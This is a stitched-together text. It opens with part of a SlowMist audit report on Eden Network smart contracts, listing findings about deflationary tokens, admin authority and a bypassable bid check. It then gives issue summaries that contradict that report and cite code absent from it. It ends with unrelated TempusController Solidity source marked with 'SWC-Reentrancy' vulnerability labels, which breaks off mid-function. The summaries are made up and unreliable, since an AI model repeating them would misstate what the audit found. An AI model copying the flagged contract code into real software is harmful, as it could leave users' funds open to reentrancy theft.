getDomainSeparator Public - - _validateSignedData Internal - - _approve Internal Can Modify State - _transferTokens Internal Can Modify State - LockManager Function Name Visibility Mutability Modifiers <Constructor> Public Can Modify State - getAmountStaked External - - getStake Public - - calculateVotingPower Public - - grantVotingPower External Can Modify State onlyLockers removeVotingPower External Can Modify State onlyLockers MerkleDistributor 9 MerkleDistributor Function Name Visibility Mutability Modifiers <Constructor> Public Can Modify State ERC721 setGovernance External Can Modify State onlyAdmins addUpdaters External Can Modify State onlyAdmins removeUpdaters External Can Modify State onlyAdmins setUpdateThreshold External Can Modify State onlyAdmins claim External Can Modify State - updateMerkleRoot External Can Modify State onlyUpdaters slash External Can Modify State onlySlashers supportsInterface Public - - tokenURI Public - - _setGovernance Private Can Modify State - _setUpdateThreshold Private Can Modify State - _increaseAccount Private Can Modify State - Migrator Function Name Visibility Mutability Modifiers <Constructor> Public Can Modify State - migrate External Can Modify State - migrateTo External Can Modify State - 10 Migrator migrateWithPermit External Can Modify State - migrateToWithPermit External Can Modify State - _migrate Internal Can Modify State - Payments Function Name Visibility Mutability Modifiers createPayment External Can Modify State - createPaymentWithPermit External Can Modify State - allActivePaymentIds External - - allActivePayments External - - allActivePaymentBalances External - - activePaymentIds External - - allPayments External - - activePayments External - - activePaymentBalances External - - totalTokenBalance External - - tokenBalance External - - paymentBalance Public - - claimableBalance Public - - claimAllAvailableTokens External Can Modify State nonReentrant 11 Payments claimAvailableTokenAmounts External Can Modify State nonReentrant stopPayment External Can Modify State nonReentrant _createPayment Internal Can Modify State - _claimTokens Internal Can Modify State - RewardsManager Function Name Visibility Mutability Modifiers <Constructor> Public Can Modify State - poolLength External - - add External Can Modify State onlyOwner set External Can Modify State onlyOwner rewardsActive Public - - getMultiplier Public - - pendingRewardTokens External - - pendingSushi External - - massUpdatePools Public Can Modify State - updatePool Public Can Modify State - deposit External Can Modify State nonReentrant depositWithPermit External Can Modify State nonReentrant withdraw External Can Modify State nonReentrant 12 RewardsManager emergencyWithdraw External Can Modify State nonReentrant tokenAllow External Can Modify State onlyOwner rescueTokens External Can Modify State onlyOwner setRewardsPerBlock External Can Modify State onlyOwner setSushiToken External Can Modify State onlyOwner setMasterChef External Can Modify State onlyOwner setVault External Can Modify State onlyOwner setLockManager External Can Modify State onlyOwner changeOwner External Can Modify State onlyOwner _deposit Internal Can Modify State - _withdraw Internal Can Modify State - _distributeRewards Internal Can Modify State - _safeSushiTransfer Internal Can Modify State - TokenRegistry Function Name Visibility Mutability Modifiers <Constructor> Public Can Modify State - setTokenFormula External Can Modify State onlyOwner removeToken External Can Modify State onlyOwner changeOwner External Can Modify State onlyOwner 13 VaultVault Function Name Visibility Mutability Modifiers <Constructor> Public Can Modify State - lockTokens External Can Modify State - lockTokensWithPermit External Can Modify State - allActiveLockIds External - - allActiveLocks External - - allActiveLockBalances External - - activeLockIds External - - allLocks External - - activeLocks External - - activeLockBalances External - - totalTokenBalance External - - tokenBalance External - - lockBalance Public - - claimableBalance Public - - claimAllUnlockedTokens External Can Modify State - claimUnlockedTokenAmounts External Can Modify State - extendLock External Can Modify State - _lockTokens Internal Can Modify State - _claimTokens Internal Can Modify State - 14 Vault _add16 Internal - - VotingPower Function Name Visibility Mutability Modifiers initialize Public Can Modify State initializer edenToken Public - - decimals Public - - tokenRegistry Public - - lockManager Public - - owner Public - - setTokenRegistry Public Can Modify State onlyOwner setLockManager Public Can Modify State onlyOwner changeOwner External Can Modify State onlyOwner stakeWithPermit External Can Modify State nonReentrant stake External Can Modify State nonReentrant stake External Can Modify State nonReentrant addVotingPowerForLockedTokens External Can Modify State nonReentrant removeVotingPowerForUnlockedTokens External Can Modify State nonReentrant withdraw External Can Modify State nonReentrant withdraw External Can Modify State nonReentrant 15 VotingPower getEDENAmountStaked Public - - getAmountStaked Public - - getEDENStake Public - - getStake Public - - balanceOf Public - - balanceOfAt Public - - _stake Internal Can Modify State - _withdraw Internal Can Modify State - _increaseVotingPower Internal Can Modify State - _decreaseVotingPower Internal Can Modify State - _writeCheckpoint Internal Can Modify State - _safe32 Internal - - VotingPowerPrism Function Name Visibility Mutability Modifiers <Constructor> Public Can Modify State - <Receive Ether> External Payable - <Fallback> External Payable - Swimlane diagram (Does not include contracts/Payments.sol) 16 4.3 Vulnerability Summary [N1] [Suggestion] Deflation token compatibility issues Category: Design Logic Audit Content If the number of deflationary token records is smaller than the actual number of receipts, if malicious users continue to deposit and withdraw, the pool of deflationary tokens will be exhausted. function _deposit( uint256 pid, uint256 amount, PoolInfo storage pool, UserInfo storage user ) internal { updatePool(pid); uint256 sushiPid = sushiPools[address(pool.token)]; uint256 pendingSushiTokens = 0; contracts/RewardsManager.sol 17 if (user.amount > 0) { uint256 pendingRewards = user.amount * pool.accRewardsPerShare / 1e12 - user.rewardTokenDebt; if (pendingRewards > 0) { _distributeRewards(msg.sender, pendingRewards, pool.vestingPercent, pool.vestingPeriod, pool.vestingCliff, pool.vpForVesting); } if (sushiPid != uint256(0)) { masterChef.updatePool(sushiPid); pendingSushiTokens = user.amount * masterChef.poolInfo(sushiPid).accSushiPerShare / 1e12 - user.sushiRewardDebt; } } pool.token.safeTransferFrom(msg.sender, address(this), amount); pool.totalStaked = pool.totalStaked + amount; user.amount = user.amount + amount; //SlowMist Incompatible with deflationary currencies user.rewardTokenDebt = user.amount * pool.accRewardsPerShare / 1e12; if (sushiPid != uint256(0)) { masterChef.updatePool(sushiPid); user.sushiRewardDebt = user.amount * masterChef.poolInfo(sushiPid).accSushiPerShare / 1e12; masterChef.deposit(sushiPid, amount); } if (amount > 0 && pool.vpForDeposit) { lockManager.grantVotingPower(msg.sender, address(pool.token), amount); } if (pendingSushiTokens > 0) { _safeSushiTransfer(msg.sender, pendingSushiTokens); } emit Deposit(msg.sender, pid, amount); } Solution Check the token balance before and after the recharge as the real recharge amount 18 Status Confirmed; The project party will not use deflationary tokens as pledge tokens [N2] [Low] Risk of excessive authority Category: Authority Control Vulnerability Content These functions may cause the project party to take away the tokens pledged by the user in the pool. function setMasterChef(address newAddress) external onlyOwner { emit ChangedAddress("MASTER_CHEF", address(masterChef), newAddress); masterChef = IMasterChef(newAddress); } function setVault(address newAddress) external onlyOwner { emit ChangedAddress("VAULT", address(vault), newAddress); vault = IVault(newAddress); } function setLockManager(address newAddress) external onlyOwner { emit ChangedAddress("LOCK_MANAGER", address(lockManager), newAddress); lockManager = ILockManager(newAddress); } function rescueTokens( address[] calldata tokens, uint256[] calldata amounts, address receiver ) external onlyOwner { require(tokens.length == amounts.length, "RM::rescueTokens: not same length"); for (uint i = 0; i < tokens.length; i++) { IERC20Extended token = IERC20Extended(tokens[i]); uint256 withdrawalAmount; uint256 tokenBalance = token.balanceOf(address(this)); uint256 tokenAllowance = token.allowance(address(this), receiver); if (amounts[i] == 0) { if (tokenBalance > tokenAllowance) { withdrawalAmount = tokenAllowance; contracts/RewardsManager.sol 19 } else { withdrawalAmount = tokenBalance; } } else { require(tokenBalance >= amounts[i], "RM::rescueTokens: contract balance too low"); require(tokenAllowance >= amounts[i], "RM::rescueTokens: increase token allowance"); withdrawalAmount = amounts[i]; } token.safeTransferFrom(address(this), receiver, withdrawalAmount); } } Solution It is recommended to transfer the authority to the timelock contract, and to modify the function of the contract parameters using event records. Status Confirmed; After communication, the project party used the 2out of 4 multi-signature address to manage the execution authority!The authority related to user funds should be transferred to the timelock contract. The timelock contract admin can use multi-signature to avoid the risk of private key leakage. In the early stage of the project, some parameters may be frequently modified (such as: increasing the mortgage pool or reward parameters, etc.). This part of the authority can be controlled separately, and the community is informed about the retention of the authority. Consider retaining the authority to temporarily suspend the project in order to respond to an emergency in the early stage of the project, which can quickly suspend the project and stop the loss in time, and at the same time inform the community to retain the authority. After the project has passed the early stage of smooth operation, the authority can be transferred to community governance. 20 [N3] [Suggestion] Payments Contract Deflation token compatibility issues Category: Design Logic Audit Content If it is a deflationary currency, the actual number of tokens received at this time is less than the incoming amount. function _createPayment( address token, address payer, address receiver, uint48 startTime, uint256 amount, uint256 paymentDurationInSecs, uint16 cliffDurationInDays ) internal { // Transfer the tokens under the control of the payment contract IERC20(token).safeTransferFrom(payer, address(this), amount); uint48 paymentStartTime = startTime == 0 ? uint48(block.timestamp) : startTime; // Create payment Payment memory payment = Payment({ token: token, receiver: receiver, payer: payer, startTime: paymentStartTime, stopTime: 0, paymentDurationInSecs: paymentDurationInSecs, cliffDurationInDays: cliffDurationInDays, amount: amount,// SlowMist Incompatible with deflationary currencies amountClaimed: 0 }); tokenPayments[numPayments] = payment;//SlowMist Incompatible with deflationary currencies paymentIds[receiver].push(numPayments); emit PaymentCreated(token, payer, receiver, numPayments, amount, paymentStartTime, paymentDurationInSecs, cliffDurationInDays); contracts/Payments.sol 21 // Increment payment id numPayments++; } Solution Check the token balance before and after the recharge as the real recharge amount Status Confirmed [N4] [Medium] User voting rights are lost Category: Others Content This is an externally called function. There may be a risk of LOCKER_ROLE removing the voting rights of locked users in batches. function claimAllUnlockedTokens(uint256[] memory locks) external { for (uint i = 0; i < locks.length; i++) { uint256 claimableAmount = claimableBalance(locks[i]); require(claimableAmount > 0, "Vault::claimAllUnlockedTokens: claimableAmount is 0"); _claimTokens(locks[i], claimableAmount); } } function _claimTokens(uint256 lockId, uint256 claimAmount) internal { Lock storage lock = tokenLocks[lockId]; uint256 votingPowerRemoved; // Remove voting power, if exists if (lock.votingPower > 0) { votingPowerRemoved = lockManager.removeVotingPower(lock.receiver, lock.token, claimAmount); lock.votingPower = lock.votingPower - votingPowerRemoved; contracts/Vault.sol 22 } // Update claimed amount lock.amountClaimed = lock.amountClaimed + claimAmount; // Release tokens IERC20Permit(lock.token).safeTransfer(lock.receiver, claimAmount); emit UnlockedTokensClaimed(lock.receiver, lock.token, lockId, claimAmount, votingPowerRemoved); } Solution _claimTokens should be operated by users themselves Status Confirming [N5] [Suggestion] Out of gas in the loop Category: Gas Optimization Audit Content The delegate is an external function. If too many producers are added by malicious calls, it will cause the execution of delegateBatch and cause out of gas in the loop. /// @notice Only addresses with delegator role or block producer modifier onlyDelegatorOrProducer(address producer) { require(hasRole(DELEGATOR_ROLE, msg.sender) || msg.sender == producer, "must be producer or delegator"); _;//SlowMist If msg.sender = producer is satisfied, the judgment can be passed } function delegate(address producer, address collector) external onlyDelegatorOrProducer(producer) { rewardCollector[producer] = collector; emit BlockProducerRewardCollectorChanged(producer, collector); contracts/DistributorGovernance.sol 23 } function delegateBatch(address[] memory producers, address[] memory collectors) external onlyDelegator { require(producers.length == collectors.length, "length mismatch"); for(uint i; i< producers.length; i++) { rewardCollector[producers[i]] = collectors[i]; emit BlockProducerRewardCollectorChanged(producers[i], collectors[i]); } } Solution You can add a logic to delete the rewardCollector Status Confirmed [N6] [Suggestion] The new variable is not assigned Category: Others Content newCliffDuration This variable was not stored at the end. function extendLock(uint256 lockId, uint16 vestingDaysToAdd, uint16 cliffDaysToAdd) external { Lock storage lock = tokenLocks[lockId]; require(msg.sender == lock.receiver, "Vault::extendLock: msg.sender must be receiver"); uint16 oldVestingDuration = lock.vestingDurationInDays; uint16 newVestingDuration = _add16(oldVestingDuration, vestingDaysToAdd, "Vault::extendLock: vesting max days exceeded"); uint16 oldCliffDuration = lock.cliffDurationInDays; uint16 newCliffDuration = _add16(oldCliffDuration, cliffDaysToAdd, "Vault::extendLock: cliff max days exceeded");//SlowMist newCliffDuration This variable was not stored at the end require(newCliffDuration <= 10*365, "Vault::extendLock: cliff more than 10 years"); require(newVestingDuration <= 25*365, "Vault::extendLock: vesting duration contracts/LockManager.sol 24 more than 25 years"); require(newVestingDuration >= newCliffDuration, "Vault::extendLock: duration < cliff"); lock.vestingDurationInDays = newVestingDuration; emit LockExtended(lockId, oldVestingDuration, newVestingDuration, oldCliffDuration, newCliffDuration, lock.startTime); } Solution Status Confirmed; Communicating with the project party through subsequent versions will fix this problem. [N7] [Suggestion] Restrictions can be bypassed Category: Others Content When existingBidAmount and existingSlotBalance are 0.bid >= MIN_BID This condition can be bypassed. function _claimSlot(uint8 slot, uint128 bid, address delegate) internal { require(delegate != address(0), "cannot delegate to 0 address"); Bid storage currentBid = slotBid[slot]; uint128 existingBidAmount = currentBid.bidAmount; uint128 existingSlotBalance = slotBalance(slot); uint128 taxedBalance = existingBidAmount - existingSlotBalance; require((existingSlotBalance == 0 && bid >= MIN_BID) || bid >= existingBidAmount * 110 / 100, "bid too small");//slowmist uint128 bidderLockedBalance = lockedBalance[msg.sender]; uint128 bidIncrement = currentBid.bidder == msg.sender ? bid - existingSlotBalance : bid; if (bidderLockedBalance > 0) { if (bidderLockedBalance >= bidIncrement) { lockedBalance[msg.sender] -= bidIncrement; } else { lockedBalance[msg.sender] = 0; token.transferFrom(msg.sender, address(this), bidIncrement - contracts/EdenNetwork.sol 25 bidderLockedBalance); } } else { token.transferFrom(msg.sender, address(this), bidIncrement); } if (currentBid.bidder != msg.sender) { lockedBalance[currentBid.bidder] += existingSlotBalance; } if (taxedBalance > 0) { token.burn(taxedBalance); } _slotOwner[slot] = msg.sender; _slotDelegate[slot] = delegate; currentBid.bidder = msg.sender; currentBid.periodStart = uint64(block.timestamp); currentBid.bidAmount = bid; currentBid.taxNumerator = taxNumerator; currentBid.taxDenominator = taxDenominator; slotExpiration[slot] = uint64(block.timestamp + uint256(taxDenominator) * 86400 / uint256(taxNumerator)); emit SlotClaimed(slot, msg.sender, delegate, bid, existingBidAmount, taxNumerator, taxDenominator); } Solution The minimum value of the incoming bid can be judged separately Status Confirmed [N8] [Low] Risk of excessive authority Category: Authority Control Vulnerability Content 26 Since most of the contract settings only need to be modified by the admin, they can take effect immediately. If the admin address is hacked, it will cause some serious consequences. For example: Solution Use the timelock contract to have a time limit for changing permissions. This way, even if there is a problem, the user has time to log out in time. Status Confirming 5 Audit Result Audit Number Audit Team Audit Date Audit Result 0X002109300002 SlowMist Security Team 2021.09.22 - 2021.09.30 Low Riskcontracts/VotingPowerPrism.sol The admin has the authority to modify the pointed logical contract immediately. It may cause abnormal voting rights after the admin address is stolen. contracts/EdenNetworkProxy.sol The admin has the authority to modify the pointed logical contract immediately. It may cause the loss of the token of the contract address after the admin address is stolen. contracts/TokenRegistry.sol If the admin address is hacked, you can also modify the TokenFormula immediately. This will cause abnormal voting rights. 27 Summary conclusion: Summary conclusion: The SlowMist security team use a manual and SlowMist team's analysis tool to audit the project, during the audit work we found 1 medium risk, 1 low risk, 5 suggestion vulnerabilities. And 1 low risk, 5 suggestion vulnerabilities were confirmed and being fixed; 28 6 Statement SlowMist issues this report with reference to the facts that have occurred or existed before the issuance of this report, and only assumes corresponding responsibility based on these. For the facts that occurred or existed after the issuance, SlowMist is not able to judge the security status of this project, and is not responsible for them. The security audit analysis and other contents of this report are based on the documents and materials provided to SlowMist by the information provider till the date of the insurance report (referred to as "provided information"). SlowMist assumes: The information provided is not missing, tampered with, deleted or concealed. If the information provided is missing, tampered with, deleted, concealed, or inconsistent with the actual situation, the SlowMist shall not be liable for any loss or adverse effect resulting therefrom. SlowMist only conducts the agreed security audit on the security situation of the project and issues this report. SlowMist is not responsible for the background and other conditions of the project.
Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 0 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in function transferFrom() (contracts/ERC20.sol:L127) 2.b Fix (one line with code reference) - Check return value in function transferFrom() (contracts/ERC20.sol:L127) Observations - No major or critical issues were found. - No issues related to the security of the smart contract architecture were found. Conclusion The SlowMist security team has completed the security audit of the Eden Network project. No major or critical issues were found. The project team is recommended to fix the minor issues found during the audit. function vote(uint256 _proposalId, bool _supportsProposal) public { Proposal storage proposal = proposals[_proposalId]; require(proposal.votingDeadline > now, "Voting period already ended."); require(!proposal.voted[msg.sender], "Already voted for this proposal."); proposal.voted[msg.sender] = true; proposal.voteCount = proposal.voteCount.add(uint256( _supportsProposal ? 1 : -1)); emit Vote(_proposalId, msg.sender, _supportsProposal); } Solution Add a check to ensure that the user has voting rights before voting Status Confirmed Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: User voting rights are lost 2.b Fix: Add a check to ensure that the user has voting rights before voting Moderate Issues:
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./amm/interfaces/ITempusAMM.sol"; import "./amm/interfaces/IVault.sol"; import "./ITempusPool.sol"; import "./math/Fixed256x18.sol"; import "./utils/PermanentlyOwnable.sol"; contract TempusController is PermanentlyOwnable { using Fixed256x18 for uint256; using SafeERC20 for IERC20; /// @dev Event emitted on a successful BT/YBT deposit. /// @param pool The Tempus Pool to which assets were deposited /// @param depositor Address of user who deposits Yield Bearing Tokens to mint /// Tempus Principal Share (TPS) and Tempus Yield Shares /// @param recipient Address of the recipient who will receive TPS and TYS tokens /// @param yieldTokenAmount Amount of yield tokens received from underlying pool /// @param backingTokenValue Value of @param yieldTokenAmount expressed in backing tokens /// @param shareAmounts Number of Tempus Principal Shares (TPS) and Tempus Yield Shares (TYS) granted to `recipient` /// @param interestRate Interest Rate of the underlying pool from Yield Bearing Tokens to the underlying asset event Deposited( address indexed pool, address indexed depositor, address indexed recipient, uint256 yieldTokenAmount, uint256 backingTokenValue, uint256 shareAmounts, uint256 interestRate ); /// @dev Event emitted on a successful BT/YBT redemption. /// @param pool The Tempus Pool from which Tempus Shares were redeemed /// @param redeemer Address of the user whose Shares (Principals and Yields) are redeemed /// @param recipient Address of user that recieved Yield Bearing Tokens /// @param principalShareAmount Number of Tempus Principal Shares (TPS) to redeem into the Yield Bearing Token (YBT) /// @param yieldShareAmount Number of Tempus Yield Shares (TYS) to redeem into the Yield Bearing Token (YBT) /// @param yieldBearingAmount Number of Yield bearing tokens redeemed from the pool /// @param backingTokenValue Value of @param yieldBearingAmount expressed in backing tokens /// @param interestRate Interest Rate of the underlying pool from Yield Bearing Tokens to the underlying asset event Redeemed( address indexed pool, address indexed redeemer, address indexed recipient, uint256 principalShareAmount, uint256 yieldShareAmount, uint256 yieldBearingAmount, uint256 backingTokenValue, uint256 interestRate ); /// @dev Atomically deposits YBT/BT to TempusPool and provides liquidity /// to the corresponding Tempus AMM with the issued TYS & TPS /// @param tempusAMM Tempus AMM to use to swap TYS for TPS /// @param tokenAmount Amount of YBT/BT to be deposited /// @param isBackingToken specifies whether the deposited asset is the Backing Token or Yield Bearing Token function depositAndProvideLiquidity( ITempusAMM tempusAMM, uint256 tokenAmount, bool isBackingToken ) external payable { ( IVault vault, bytes32 poolId, IERC20[] memory ammTokens, uint256[] memory ammBalances ) = getAMMDetailsAndEnsureInitialized(tempusAMM); ITempusPool targetPool = tempusAMM.tempusPool(); if (isBackingToken) { depositBacking(targetPool, tokenAmount, address(this)); } else { depositYieldBearing(targetPool, tokenAmount, address(this)); } uint256[2] memory ammDepositPercentages = getAMMBalancesRatio(ammBalances); uint256[] memory ammLiquidityProvisionAmounts = new uint256[](2); (ammLiquidityProvisionAmounts[0], ammLiquidityProvisionAmounts[1]) = ( ammTokens[0].balanceOf(address(this)).mulf18(ammDepositPercentages[0]), ammTokens[1].balanceOf(address(this)).mulf18(ammDepositPercentages[1]) ); ammTokens[0].safeIncreaseAllowance(address(vault), ammLiquidityProvisionAmounts[0]); ammTokens[1].safeIncreaseAllowance(address(vault), ammLiquidityProvisionAmounts[1]); IVault.JoinPoolRequest memory request = IVault.JoinPoolRequest({ assets: ammTokens, maxAmountsIn: ammLiquidityProvisionAmounts, userData: abi.encode(uint8(ITempusAMM.JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT), ammLiquidityProvisionAmounts), fromInternalBalance: false }); // Provide TPS/TYS liquidity to TempusAMM vault.joinPool(poolId, address(this), msg.sender, request); // Send remaining Shares to user if (ammDepositPercentages[0] < Fixed256x18.ONE) { ammTokens[0].safeTransfer(msg.sender, ammTokens[0].balanceOf(address(this))); } if (ammDepositPercentages[1] < Fixed256x18.ONE) { ammTokens[1].safeTransfer(msg.sender, ammTokens[1].balanceOf(address(this))); } } /// @dev Atomically deposits YBT/BT to TempusPool and swaps TYS for TPS to get fixed yield /// See https://docs.balancer.fi/developers/guides/single-swaps#swap-overview /// @param tempusAMM Tempus AMM to use to swap TYS for TPS /// @param tokenAmount Amount of YBT/BT to be deposited /// @param isBackingToken specifies whether the deposited asset is the Backing Token or Yield Bearing Token /// @param minTYSRate Minimum TYS rate (denominated in TPS) to receive in exchange to TPS function depositAndFix( ITempusAMM tempusAMM, uint256 tokenAmount, bool isBackingToken, uint256 minTYSRate ) external payable { (IVault vault, bytes32 poolId, , ) = getAMMDetailsAndEnsureInitialized(tempusAMM); ITempusPool targetPool = tempusAMM.tempusPool(); if (isBackingToken) { depositBacking(targetPool, tokenAmount, address(this)); } else { depositYieldBearing(targetPool, tokenAmount, address(this)); } IERC20 principalShares = IERC20(address(targetPool.principalShare())); IERC20 yieldShares = IERC20(address(targetPool.yieldShare())); uint256 swapAmount = yieldShares.balanceOf(address(this)); yieldShares.safeIncreaseAllowance(address(vault), swapAmount); // Provide TPS/TYS liquidity to TempusAMM IVault.SingleSwap memory singleSwap = IVault.SingleSwap({ poolId: poolId, kind: IVault.SwapKind.GIVEN_IN, assetIn: yieldShares, assetOut: principalShares, amount: swapAmount, userData: "" }); IVault.FundManagement memory fundManagement = IVault.FundManagement({ sender: address(this), fromInternalBalance: false, recipient: payable(address(this)), toInternalBalance: false }); uint256 minReturn = swapAmount.mulf18(minTYSRate); vault.swap(singleSwap, fundManagement, minReturn, block.timestamp); uint256 TPSBalance = principalShares.balanceOf(address(this)); assert(TPSBalance > 0); assert(yieldShares.balanceOf(address(this)) == 0); principalShares.safeTransfer(msg.sender, TPSBalance); } /// @dev Deposits Yield Bearing Tokens to a Tempus Pool. /// @param targetPool The Tempus Pool to which tokens will be deposited /// @param yieldTokenAmount amount of Yield Bearing Tokens to be deposited /// @param recipient Address which will receive Tempus Principal Shares (TPS) and Tempus Yield Shares (TYS) function depositYieldBearing( ITempusPool targetPool, uint256 yieldTokenAmount, address recipient ) public { require(yieldTokenAmount > 0, "yieldTokenAmount is 0"); IERC20 yieldBearingToken = IERC20(targetPool.yieldBearingToken()); // Deposit to TempusPool yieldBearingToken.safeTransferFrom(msg.sender, address(this), yieldTokenAmount); yieldBearingToken.safeIncreaseAllowance(address(targetPool), yieldTokenAmount); (uint256 mintedShares, uint256 depositedBT, uint256 interestRate) = targetPool.deposit( yieldTokenAmount, recipient ); emit Deposited( address(targetPool), msg.sender, recipient, yieldTokenAmount, depositedBT, mintedShares, interestRate ); } /// @dev Deposits Backing Tokens into the underlying protocol and /// then deposited the minted Yield Bearing Tokens to the Tempus Pool. /// @param targetPool The Tempus Pool to which tokens will be deposited /// @param backingTokenAmount amount of Backing Tokens to be deposited into the underlying protocol /// @param recipient Address which will receive Tempus Principal Shares (TPS) and Tempus Yield Shares (TYS) function depositBacking( ITempusPool targetPool, uint256 backingTokenAmount, address recipient ) public payable { require(backingTokenAmount > 0, "backingTokenAmount is 0"); IERC20 backingToken = IERC20(targetPool.backingToken()); if (msg.value == 0) { backingToken.safeTransferFrom(msg.sender, address(this), backingTokenAmount); backingToken.safeIncreaseAllowance(address(targetPool), backingTokenAmount); } else { require(address(backingToken) == address(0), "given TempusPool's Backing Token is not ETH"); } (uint256 mintedShares, uint256 depositedYBT, uint256 interestRate) = targetPool.depositBacking{ value: msg.value }(backingTokenAmount, recipient); emit Deposited( address(targetPool), msg.sender, recipient, depositedYBT, backingTokenAmount, mintedShares, interestRate ); } /// @dev Redeem TPS+TYS held by msg.sender into Yield Bearing Tokens /// @notice `msg.sender` must approve Principals and Yields amounts to `targetPool` /// @notice `msg.sender` will receive yield bearing tokens /// @notice Before maturity, `principalAmount` must equal to `yieldAmount` /// @param targetPool The Tempus Pool from which to redeem Tempus Shares /// @param sender Address of user whose Shares are going to be redeemed /// @param principalAmount Amount of Tempus Principals to redeem /// @param yieldAmount Amount of Tempus Yields to redeem /// @param recipient Address of user that will recieve yield bearing tokens function redeemToYieldBearing( ITempusPool targetPool, address sender, uint256 principalAmount, uint256 yieldAmount, address recipient ) public { require((principalAmount > 0) || (yieldAmount > 0), "principalAmount and yieldAmount cannot both be 0"); (uint256 redeemedYBT, uint256 interestRate) = targetPool.redeem( sender, principalAmount, yieldAmount, recipient ); uint256 redeemedBT = targetPool.numAssetsPerYieldToken(redeemedYBT, targetPool.currentInterestRate()); emit Redeemed( address(targetPool), sender, recipient, principalAmount, yieldAmount, redeemedYBT, redeemedBT, interestRate ); } /// @dev Redeem TPS+TYS held by msg.sender into Backing Tokens /// @notice `sender` must approve Principals and Yields amounts to this TempusPool /// @notice `recipient` will receive the backing tokens /// @notice Before maturity, `principalAmount` must equal to `yieldAmount` /// @param targetPool The Tempus Pool from which to redeem Tempus Shares /// @param targetPool The Tempus Pool from which to redeem Tempus Shares /// @param sender Address of user whose Shares are going to be redeemed /// @param principalAmount Amount of Tempus Principals to redeem /// @param yieldAmount Amount of Tempus Yields to redeem /// @param recipient Address of user that will recieve yield bearing tokens function redeemToBacking( ITempusPool targetPool, address sender, uint256 principalAmount, uint256 yieldAmount, address recipient ) public { require((principalAmount > 0) || (yieldAmount > 0), "principalAmount and yieldAmount cannot both be 0"); (uint256 redeemedYBT, uint256 redeemedBT, uint256 interestRate) = targetPool.redeemToBacking( sender, principalAmount, yieldAmount, recipient ); emit Redeemed( address(targetPool), sender, recipient, principalAmount, yieldAmount, redeemedYBT, redeemedBT, interestRate ); } /// @dev Withdraws liquidity from TempusAMM /// @notice `msg.sender` needs to approve controller for @param lpTokensAmount of LP tokens /// @notice Transfers LP tokens to controller and exiting tempusAmm with `msg.sender` as recipient /// @param tempusAMM Tempus AMM instance /// @param lpTokensAmount Amount of LP tokens to be withdrawn /// @param principalAmountOutMin Minimal amount of TPS to be withdrawn /// @param yieldAmountOutMin Minimal amount of TYS to be withdrawn /// @param toInternalBalances Withdrawing liquidity to internal balances function exitTempusAMM( ITempusAMM tempusAMM, uint256 lpTokensAmount, uint256 principalAmountOutMin, uint256 yieldAmountOutMin, bool toInternalBalances ) external { tempusAMM.transferFrom(msg.sender, address(this), lpTokensAmount); doExitTempusAMMGivenLP( tempusAMM, address(this), msg.sender, lpTokensAmount, getAMMOrderedAmounts(tempusAMM.tempusPool(), principalAmountOutMin, yieldAmountOutMin), toInternalBalances ); assert(tempusAMM.balanceOf(address(this)) == 0); } /// @dev Withdraws liquidity from TempusAMM and redeems Shares to Yield Bearing or Backing Tokens /// Checks user's balance of principal shares and yield shares /// and exits AMM with exact amounts needed for redemption. /// @notice `msg.sender` needs to approve `tempusAMM.tempusPool` for both Yields and Principals /// for `sharesAmount` /// @notice `msg.sender` needs to approve controller for whole balance of LP token /// @notice Transfers users' LP tokens to controller, then exits tempusAMM with `msg.sender` as recipient. /// After exit transfers remainder of LP tokens back to user /// @notice Can fail if there is not enough user balance /// @notice Only available before maturity since exiting AMM with exact amounts is disallowed after maturity /// @param tempusAMM TempusAMM instance to withdraw liquidity from /// @param sharesAmount Amount of Principals and Yields /// @param toBackingToken If true redeems to backing token, otherwise redeems to yield bearing // SWC-Reentrancy: L352-386 function exitTempusAMMAndRedeem( ITempusAMM tempusAMM, uint256 sharesAmount, bool toBackingToken ) external { ITempusPool tempusPool = tempusAMM.tempusPool(); require(!tempusPool.matured(), "Pool already finalized"); uint256 userPrincipalBalance = IERC20(address(tempusPool.principalShare())).balanceOf(msg.sender); uint256 userYieldBalance = IERC20(address(tempusPool.yieldShare())).balanceOf(msg.sender); uint256 ammExitAmountPrincipal = sharesAmount - userPrincipalBalance; uint256 ammExitAmountYield = sharesAmount - userYieldBalance; // transfer LP tokens to controller uint256 userBalanceLP = tempusAMM.balanceOf(msg.sender); tempusAMM.transferFrom(msg.sender, address(this), userBalanceLP); doExitTempusAMMGivenAmountsOut( tempusAMM, address(this), msg.sender, getAMMOrderedAmounts(tempusPool, ammExitAmountPrincipal, ammExitAmountYield), userBalanceLP, false ); // transfer remainder of LP tokens back to user tempusAMM.transferFrom(address(this), msg.sender, tempusAMM.balanceOf(address(this))); if (toBackingToken) { redeemToBacking(tempusPool, msg.sender, sharesAmount, sharesAmount, msg.sender); } else { redeemToYieldBearing(tempusPool, msg.sender, sharesAmount, sharesAmount, msg.sender); } } /// @dev Withdraws ALL liquidity from TempusAMM and redeems Shares to Yield Bearing or Backing Tokens /// @notice `msg.sender` needs to approve controller for whole balance for both Yields and Principals /// @notice `msg.sender` needs to approve controller for whole balance of LP token /// @notice Can fail if there is not enough user balance /// @param tempusAMM TempusAMM instance to withdraw liquidity from /// @param toBackingToken If true redeems to backing token, otherwise redeems to yield bearing // SWC-Reentrancy: L395-436 function completeExitAndRedeem(ITempusAMM tempusAMM, bool toBackingToken) external { ITempusPool tempusPool = tempusAMM.tempusPool(); require(tempusPool.matured(), "Not supported before maturity"); IERC20 principalShare = IERC20(address(tempusPool.principalShare())); IERC20 yieldShare = IERC20(address(tempusPool.yieldShare())); // send all shares to controller uint256 userPrincipalBalance = principalShare.balanceOf(msg.sender); uint256 userYieldBalance = yieldShare.balanceOf(msg.sender); principalShare.safeTransferFrom(msg.sender, address(this), userPrincipalBalance); yieldShare.safeTransferFrom(msg.sender, address(this), userYieldBalance); uint256 userBalanceLP = tempusAMM.balanceOf(msg.sender); if (userBalanceLP > 0) { // if there is LP balance, transfer to controller tempusAMM.transferFrom(msg.sender, address(this), userBalanceLP); uint256[] memory minAmountsOut = new uint256[](2); // exit amm and sent shares to controller doExitTempusAMMGivenLP(tempusAMM, address(this), address(this), userBalanceLP, minAmountsOut, false); } 